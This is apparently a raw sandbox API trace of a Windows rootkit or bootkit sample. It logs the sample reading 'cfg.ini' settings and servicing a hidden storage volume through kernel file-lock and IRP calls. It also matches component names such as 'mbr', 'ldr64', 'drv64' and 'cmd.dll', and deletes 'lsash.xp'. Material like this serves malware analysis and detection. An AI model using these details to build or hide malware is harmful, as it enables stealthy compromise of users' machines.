| out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.662] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.662] IdePortDispatch () returned 0x103 [0126.662] KeWaitForMutexObject () returned 0x0 [0126.662] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.662] KeLeaveCriticalRegion () [0126.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.662] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.662] KeEnterCriticalRegion () [0126.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.662] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a8000 [0126.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.662] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.662] IdePortDispatch () returned 0x103 [0126.663] KeWaitForMutexObject () returned 0x0 [0126.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.663] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.663] IdePortDispatch () returned 0x103 [0126.663] KeWaitForMutexObject () returned 0x0 [0126.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.663] KeLeaveCriticalRegion () [0126.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.664] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.664] KeEnterCriticalRegion () [0126.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.664] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.664] KeLeaveCriticalRegion () [0126.664] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.664] KeEnterCriticalRegion () [0126.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.664] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.664] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.664] KeLeaveCriticalRegion () [0126.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.664] KeEnterCriticalRegion () [0126.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.664] ExFreePoolWithTag (P=0xfffffa80037eddf0, Tag=0x0) [0126.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.664] KeLeaveCriticalRegion () [0126.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.664] ReleaseMutex (hMutex=0xf0) returned 1 [0126.664] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.664] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.664] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.664] KeEnterCriticalRegion () [0126.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.664] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.664] IdePortDispatch () returned 0x103 [0126.665] KeWaitForMutexObject () returned 0x0 [0126.665] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.665] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.665] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.665] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.665] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.665] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac6350 [0126.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.665] KeLeaveCriticalRegion () [0126.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.665] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.665] KeEnterCriticalRegion () [0126.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.665] KeLeaveCriticalRegion () [0126.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.665] KeEnterCriticalRegion () [0126.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.665] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.665] IdePortDispatch () returned 0x103 [0126.665] KeWaitForMutexObject () returned 0x0 [0126.665] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.666] KeLeaveCriticalRegion () [0126.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.666] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.666] KeEnterCriticalRegion () [0126.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.666] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a9000 [0126.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.666] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.666] IdePortDispatch () returned 0x103 [0126.666] KeWaitForMutexObject () returned 0x0 [0126.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.666] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.666] IdePortDispatch () returned 0x103 [0126.666] KeWaitForMutexObject () returned 0x0 [0126.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.666] KeLeaveCriticalRegion () [0126.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.667] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.667] KeEnterCriticalRegion () [0126.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.667] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.667] KeLeaveCriticalRegion () [0126.667] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.667] KeEnterCriticalRegion () [0126.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.667] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.667] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0bf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.667] KeLeaveCriticalRegion () [0126.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.667] KeEnterCriticalRegion () [0126.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.667] ExFreePoolWithTag (P=0xfffffa8003ac6350, Tag=0x0) [0126.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.667] KeLeaveCriticalRegion () [0126.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.667] ReleaseMutex (hMutex=0xf0) returned 1 [0126.668] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.668] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.668] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.668] KeEnterCriticalRegion () [0126.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.668] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.668] IdePortDispatch () returned 0x103 [0126.668] KeWaitForMutexObject () returned 0x0 [0126.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.668] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.668] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.668] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.668] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.668] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac64b0 [0126.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.668] KeLeaveCriticalRegion () [0126.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.668] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.668] KeEnterCriticalRegion () [0126.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.668] KeLeaveCriticalRegion () [0126.668] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.669] KeEnterCriticalRegion () [0126.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.669] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.669] IdePortDispatch () returned 0x103 [0126.669] KeWaitForMutexObject () returned 0x0 [0126.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.669] KeLeaveCriticalRegion () [0126.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.669] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.669] KeEnterCriticalRegion () [0126.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035aa000 [0126.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.669] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.669] IdePortDispatch () returned 0x103 [0126.669] KeWaitForMutexObject () returned 0x0 [0126.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.670] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.670] IdePortDispatch () returned 0x103 [0126.670] KeWaitForMutexObject () returned 0x0 [0126.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.670] KeLeaveCriticalRegion () [0126.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.670] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.670] KeEnterCriticalRegion () [0126.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.670] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.670] KeLeaveCriticalRegion () [0126.671] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.671] KeEnterCriticalRegion () [0126.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.671] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.671] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0aa0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.671] KeLeaveCriticalRegion () [0126.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.671] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.671] KeEnterCriticalRegion () [0126.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.671] ExFreePoolWithTag (P=0xfffffa8003ac64b0, Tag=0x0) [0126.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.671] KeLeaveCriticalRegion () [0126.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.671] ReleaseMutex (hMutex=0xf0) returned 1 [0126.671] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.671] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.671] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.671] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.671] KeEnterCriticalRegion () [0126.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.671] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.671] IdePortDispatch () returned 0x103 [0126.672] KeWaitForMutexObject () returned 0x0 [0126.672] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.672] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.672] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.672] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.672] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.672] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.672] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.672] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.672] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.672] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.672] KeLeaveCriticalRegion () [0126.672] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.672] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.672] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.672] KeEnterCriticalRegion () [0126.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.672] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.672] IdePortDispatch () returned 0x103 [0126.672] KeWaitForMutexObject () returned 0x0 [0126.672] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.672] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.672] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.672] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.673] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.673] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.673] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.673] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.673] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.673] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.673] KeLeaveCriticalRegion () [0126.673] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.673] ReleaseMutex (hMutex=0x100) returned 1 [0126.673] Sleep (dwMilliseconds=0x2bf20) [0126.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eb51630, dwHighDateTime=0x1d24fa4)) [0126.679] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) 